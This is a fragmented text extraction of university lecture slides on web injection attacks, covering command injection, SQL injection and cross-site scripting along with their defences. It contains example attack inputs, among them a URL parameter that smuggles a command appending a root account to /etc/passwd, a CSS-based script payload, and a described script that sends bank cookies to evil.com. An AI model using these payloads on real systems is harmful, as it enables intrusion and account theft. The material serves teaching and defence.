Web Security: Injection Attacks
CS 161: Computer Security
- Prof. Raluca Ada Popa
March 20, 2018
Credit: some slides are adapted from previous offerings of this course and from CS 241 of Prof. Dan Boneh
Web Security: Injection Attacks CS 161: Computer Security Prof. - - PowerPoint PPT Presentation
Web Security: Injection Attacks CS 161: Computer Security Prof. Raluca Ada Popa March 20, 2018 Credit: some slides are adapted from previous offerings of this course and from CS 241 of Prof. Dan Boneh What can go bad if a web server is
Credit: some slides are adapted from previous offerings of this course and from CS 241 of Prof. Dan Boneh
2
■ Browser sends malicious input to server ■ Bad input checking leads to malicious SQL query
■ Attacker inserts client-side script into pages viewed
■ Bad web site sends request to good web site, using
3
4
5
In the Phrack magazine First published in 1985 phreak + hack
6
request
request
8
9
calculator: http://site.com/calc.php
http://site.com/calc.php?exp=“ 3+5”
$email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”) http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=“foo < /usr/passwd; ls” http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=“foo; echo \“evil::0:0:root:/:/bin/sh\">>/etc/passwd; ls”
11
Web server URL / Form command.php? arg1=x&arg2= y Browser Database server
Web server URL / Form command.php? arg1=x&arg2= y Database server
Database query built from x and y
Browser
Web server Database server
Custom data corresponding to x & y
Browser
Web server Web page built using custom data Database server Browser
■ Often storing tuples/rows of related values ■ Organized in tables
■ Web server sends queries or commands derived
■ Database server returns associated values or
■ (Pronounced “ess-cue-ell” or “sequel”)
Customer AcctNum Username Balance 1199 zuckerberg 35.71 0501 bgates 79.2 … … … … … …
23
Victim Web Server SQL DB Attacker p
t m a l i c i
s f
m unintended SQL query receive valuable data 1 2 3 $recipient specified by attacker
25
■ credit card payment processing company ■ SQL injection attack in June 2005 ■ put out of business
■ 263,000 credit card #s stolen from database ■ credit card #s stored unencrypted ■ 43 million credit card #s exposed
27
Web Server Web Browser (Client)
Enter Username & Password
SELECT * FROM Users WHERE user='me' AND pwd='1234'
(1 row)
29
■ The “--” causes rest of line to be ignored. ■ Now ok.EOF is always false and login succeeds.
30
31
Web Server
query You “escape” the SQL parser Parser commands
The username will be matched against alice’; SELECT * FROM People;’ and no match found
For
alice
because \\ gets converted to \ by the parser alice\ alice’ Syntax error, quote not closed
■ Django defines a query abstraction layer which sits
■ The execute function takes a sql query and replaces
39
■
Ensures SQL arguments are properly escaped.
SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); cmd.ExecuteReader();
41
44
■ Script runs in user’s browser with access to page’s
<font size=30> Hello, <b> <script> var a = 1; var b = 2; document.write("world: ", a+b, "</b>"); </script>
Hello, world: 3
web page
■ Alter page contents ■ Track events (mouse clicks, motion, keystrokes) ■ Issue web requests, read replies
Browser’s rendering engine:
web server
<font size=30> Hello, <b>world: 3</b>
Hello, world: 3
web browser
<font size=30> Hello, <b> <script> var a = 1; var b = 2; document.write("world: ", a+b, "</b>"); </script>
hackerz.com bank.com
Attack Browser/Server
evil.com
Server Patsy/Victim Inject malicious script 1
bank.com
Attack Browser/Server
evil.com
Server Patsy/Victim User Victim Inject malicious script 1
bank.com
Attack Browser/Server
evil.com
Server Patsy/Victim User Victim request content 2 Inject malicious script 1
bank.com
Attack Browser/Server
evil.com
Server Patsy/Victim User Victim request content receive malicious script 2 3 Inject malicious script 1
bank.com
Attack Browser/Server
evil.com
Server Patsy/Victim User Victim request content receive malicious script 2 3 Inject malicious script 1 execute script embedded in input as though server meant us to run it 4
bank.com
Attack Browser/Server
evil.com
Server Patsy/Victim User Victim request content receive malicious script 2 3 Inject malicious script 1 execute script embedded in input as though server meant us to run it 4 perform attacker action 5
bank.com
Attack Browser/Server
evil.com
Server Patsy/Victim User Victim request content receive malicious script 2 3 Inject malicious script 1 execute script embedded in input as though server meant us to run it 4 perform attacker action 5 E.g., GET http://bank.com/sendmoney?to=DrEvil&amt=100000
Attack Browser/Server
evil.com
User Victim request content receive malicious script 2 3 Inject malicious script execute script embedded in input as though server meant us to run it 4 perform attacker action 5 s t e a l v a l u a b l e d a t a 6 1 Server Patsy/Victim
bank.com
Attack Browser/Server
evil.com
User Victim request content receive malicious script 2 3 Inject malicious script execute script embedded in input as though server meant us to run it 4 perform attacker action 5 l e a k v a l u a b l e d a t a 6 1 Server Patsy/Victim
bank.com
Attack Browser/Server
evil.com
Server Patsy/Victim User Victim Inject malicious script request content receive malicious script 1 2 3 (A “stored” XSS attack) perform attacker action 5 l e a k v a l u a b l e d a t a 6 execute script embedded in input as though server meant us to run it 4
bank.com
Attack Browser/Server
evil.com
■ MySpace.com ensures HTML contains no
<script>, <body>, onclick, <a href=javascript://>
■ … but can do Javascript within CSS tags:
<div style=“background:url(‘javascript:alert(1)’)”>
■ … and adds Samy as a friend. ■ Samy had millions of friends within 24 hours.
http://namb.la/popular/tech.html
HTTP/1.1 200 OK … Content-Type: image/jpeg <html> fooled ya </html>
Victim client
Attack Server Victim client v i s i t w e b s i t e 1
evil.com
Attack Server Victim client v i s i t w e b s i t e receive malicious page 1 2
evil.com
Attack Server Victim client v i s i t w e b s i t e receive malicious page click on link 1 2 3 Server Patsy/Victim
bank.com evil.com
Victim client click on link echo user input 3 4 Server Patsy/Victim Attack Server v i s i t w e b s i t e receive malicious page 1 2
evil.com bank.com
Victim client click on link echo user input 3 4 Server Patsy/Victim Attack Server v i s i t w e b s i t e receive malicious page 1 2 execute script embedded in input as though server meant us to run it 5
evil.com bank.com
Victim client click on link echo user input 3 4 Server Patsy/Victim Attack Server v i s i t w e b s i t e receive malicious page 1 2 execute script embedded in input as though server meant us to run it 5 perform attacker action 6
evil.com bank.com
Attack Server Victim client click on link echo user input 3 s e n d v a l u a b l e d a t a 7 4 Server Patsy/Victim v i s i t w e b s i t e receive malicious page 1 2 execute script embedded in input as though server meant us to run it 5
evil.com bank.com
Attack Server Victim client v i s i t w e b s i t e receive malicious page click on link echo user input 1 2 3 4 (“Reflected” XSS attack) Server Patsy/Victim execute script embedded in input as though server meant us to run it 5 s e n d v a l u a b l e d a t a 7 perform attacker action 6
evil.com bank.com
■ http://bank.com/search.php?term=apple ■ search.php responds with
1)
2)
<HTML> Results for <script> … </script> …
3)
Sends to evil.com the cookie for bank.com
accessing a particular URL hosted on the legitimate PayPal website.
their accounts had been compromised.
enter sensitive financial data.
Source: http://www.acunetix.com/news/paypal.htm
■ Avoid blacklisting; it doesn’t work well
■ HTML parser looks for special characters: < > & ” ’
■ Ideally, user-provided input string should not contain
■ If one wants to display these special characters in a
Character Escape sequence < < > > & & “ " ‘ '
Attacker input: <script> … </script> <html> Comment: </html> <html> Comment: </html>
direct escaped
<script> … </script> <script> … </script>
browser rendering browser rendering Attack! Script runs!
Comment: <script> … </script>
Script does not run but gets displayed!
■ Html: ‘ ' ■ SQL: ‘ \’
■ Web developer specifies the domains the browser should
■ Script runs in user’s browser with access to page’s
■ Bypasses the same-origin policy